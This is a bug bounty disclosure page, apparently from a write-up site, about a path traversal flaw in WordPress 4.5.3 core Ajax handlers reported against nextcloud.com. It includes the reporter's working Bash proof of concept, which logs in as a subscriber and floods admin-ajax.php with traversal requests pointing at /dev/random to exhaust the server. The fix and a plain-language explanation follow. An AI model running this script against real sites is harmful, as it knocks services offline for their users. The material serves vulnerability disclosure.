Wordpress: Directory Traversal / Denial of Serivce
The site ran an outdated WordPress version whose core Ajax handlers were open to path traversal. A logged-in low-privilege subscriber could abuse this to cause a denial of service against the server.
- Triaged in under an hour
- Fixed in 13 hours
- Disclosed after 13 hours
Hello Security team, While testing nextcloud.com i have found that you are not using the lastest version of wordpress you are using old version 4.5.3 which is vulnerable to Directory Traversal / Denial of Serivce
Description :
A path traversal vulnerability was found in the Core Ajax handlers of the WordPress Admin API. This issue can be used by an Subscriber to create a denial of service.
POC
The following Bash script can be used to exploit this vulnerability
#!/bin/bash
target="https://nextcloud.com"
username="subscriber"
password="password"
cookiejar=$(mktemp)
# login
curl --cookie-jar "$cookiejar" \
--data "log=$username&pwd=$password&wp-submit=Log+In&redirect_to=%2f&testcookie=1" \
"$target/wp-login.php" \
>/dev/null 2>&1
# exhaust apache
for i in `seq 1 1000`
do
curl --cookie "$cookiejar" \
--data "plugin=../../../../../../../../../../dev/random&action=update-plugin" \
"$target/wp-admin/admin-ajax.php" \
>/dev/null 2>&1 &
done
rm "$cookiejar"
FIX :
Upgrade your wordpress to 4.6
More details about vulnerability : https://sumofpwn.nl/advisory/2016/path_traversal_vulnerability_in_wordpress_core_ajax_handlers.html
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the core Ajax plugin-update handler did not properly validate the plugin path, allowing directory traversal outside the intended plugins directory.
What the attacker needed
A subscriber account; ability to send many requests
The fix
The site should upgrade WordPress to version 4.6 or later.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
WordPress is a popular website-building tool. An old version had a flaw where a logged-in user with the lowest role could send a crafted request that made the server read files it should not, and repeating it many times could overwhelm the server so it stops responding. That is a denial of service: making a service unavailable to real users.
What is Path traversal?
Input that builds a file path escapes the intended folder, reading or writing files the application should never touch.